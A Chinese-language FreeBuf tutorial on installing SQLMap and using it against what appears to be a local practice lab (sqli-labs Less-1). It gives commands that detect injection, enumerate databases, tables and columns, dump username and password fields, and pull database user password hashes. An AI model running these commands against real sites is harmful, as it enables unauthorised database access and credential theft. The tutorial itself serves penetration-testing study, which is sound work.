freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

最新SQLMap安装与入门技术
2023-12-27 16:00:34

SQLMap详解

SQLMap是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞。SQLMap内置了很多绕过插件,支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。SQLMap采用了以下五种独特的SQL注入技术。

(1)基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。

(2)基于时间的盲注,即不能根据页面返回的内容判断任何信息,要通过条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。

(3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回页面中。

(4)联合查询注入,在可以使用Union的情况下的注入。

(5)堆查询注入,可以同时执行多条语句的注入。

SQLMap的强大功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。SQLMap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的效果。

SQLMap的安装

SQLMap的安装需要Python环境(支持Python 2.6、Python 2.7、Python 3.x),本节使用的是Python 3,可在官网下载安装包并一键安装,安装完成后,复制Python的安装目录,添加到环境变量值中(或者在安装时,勾选“Add Python to environment variables”选项,自动将Python加入环境变量),如图3-1所示:

图3-1  

从SQLMap官网下载最新版的SQLMap,打开cmd,输入命令“python sqlmap.py”,工具即可正常运行,如图3-2所示。

图3-2

SQLMap入门

1.判断是否存在注入

假设目标注入点是http://10.211.55.6/Less-1/?id=1,用如下命令判断其是否存在注入:

python sqlmap.py -u http://10.211.55.6/Less-1/?id=1

结果显示存在注入,如图3-3所示。

图3-3

注意,当注入点后面的参数大于等于两个时,需要加双引号,命令如下:

python sqlmap.py -u "http://10.211.55.6/Less-1/?id=1&uid=2"

运行上述命令后,Terminal终端上会“爆出”一大段信息,如图3-4所示。信息中有三处需要选择的地方:第一处的意思为检测到数据库可能是MySQL,是否跳过并检测其他数据库;第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测;第三处的意思是参数ID存在漏洞,是否继续检测其他参数,一般默认按回车键即可继续检测。

图3-4

2.判断文本中的请求是否存在注入

从文件中加载HTTP请求,SQLMap可以从一个.txt文件中获取HTTP请求,这样就可以不设置其他参数(如Cookie、POST数据等)。.txt文件中的内容为Web数据包,如图3-5所示。

图3-5

运行如下命令,判断是否存在注入:

python sqlmap.py –r 1.txt

运行后的结果如图3-6所示,参数“-r ”一般在存在Cookie注入时使用。

图3-6  

3.查询当前用户下的所有数据库

该命令是确定网站存在注入后,用于查询当前用户下的所有数据库,命令如下:

python sqlmap.py -u http://10.211.55.6/Less-1/?id=1 --dbs

如果当前用户有权限读取包含所有数据库列表信息的表,则使用该命令即可列出所有数据库,如图3-7所示。

图3-7  

从图3-7中可以看到,查询出了5个数据库。

继续注入时,将参数“--dbs”缩写成“-D xxx”,意思是在xxx数据库中继续查询其他数据。

4.获取数据库中的表名

该命令的作用是在查询完数据库后,查询指定数据库中所有的表名,命令如下:

python sqlmap.py -u "http://10.211.55.6/Less-1/?id=1" -D security --tables

如果不在该命令中加入参数“-D”来指定某一个具体的数据库,则SQLMap会列出数据库中所有库的表,如图3-8所示。

图3-8  

从图3-8中可以看出security数据库拥有的4个表名。继续注入时,将参数“--tables”缩写成“-T”,意思是在某个表中继续查询。

5.获取表中的字段名

该命令的作用是在查询完表名后,查询该表中所有的字段名,命令如下:

python sqlmap.py -u "http://10.211.55.6/Less-1/?id=1" -D security -T users --columns

该命令的运行结果如图3-9所示。

图3-9  

从图3-9中可以看出,security数据库中的users表中一共有3个字段。在后续的注入中,将参数“--columns”缩写成“-C”,意思是获取指定列的数据。

6.获取字段内容

该命令的作用是在查询完字段名之后,获取该字段中具体的数据信息,命令如下:

python sqlmap.py –u "http://10.211.55.6/Less-1/?id=1" –D security –T users –C username,password  --dump

这里需要下载的数据是security数据库里users表中username和password的值,如图3-10所示。

图3-10  

7.获取数据库的所有用户

该命令的作用是列出数据库的所有用户。在当前用户有权限读取包含所有用户的表时,使用该命令就可以列出所有管理用户,命令如下:

python sqlmap.py –u "http://10.211.55.6/Less-1/?id=1" --users

可以看出,当前用户账号是root,如图3-11所示。

图3-11  

8.获取数据库用户的密码

该命令的作用是列出数据库用户的密码。如果当前用户有读取用户密码的权限,则SQLMap会先列举出用户,然后列出Hash,并尝试破解,命令如下:

python sqlmap.py –u "http://10.211.55.6/Less-1/?id=1" --passwords

从图3-12中可以看出,密码采用MySQL 5加密方式,可以在解密网站中自行解密。

图3-12  

9.获取当前网站数据库的名称

使用该命令可以列出当前网站使用的数据库,命令如下:

python sqlmap.py –u "http://10.211.55.6/Less-1/?id=1" --current-db

从图3-13中可以看出,数据库是security。

图3-13  

10.获取当前网站数据库的用户名称

使用该命令可以列出当前使用网站数据库的用户,命令如下:

python sqlmap.py –u "http://10.211.55.6/Less-1/?id=1" --current-user

从图3-14中可以看出,用户是root。

图3-14  

出当前使用网站数据库的用户,命令如下:

python sqlmap.py –u "http://10.211.55.6/Less-1/?id=1" --current-user

从图3-14中可以看出,用户是root。

# 黑客 # 网络安全 # web安全 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录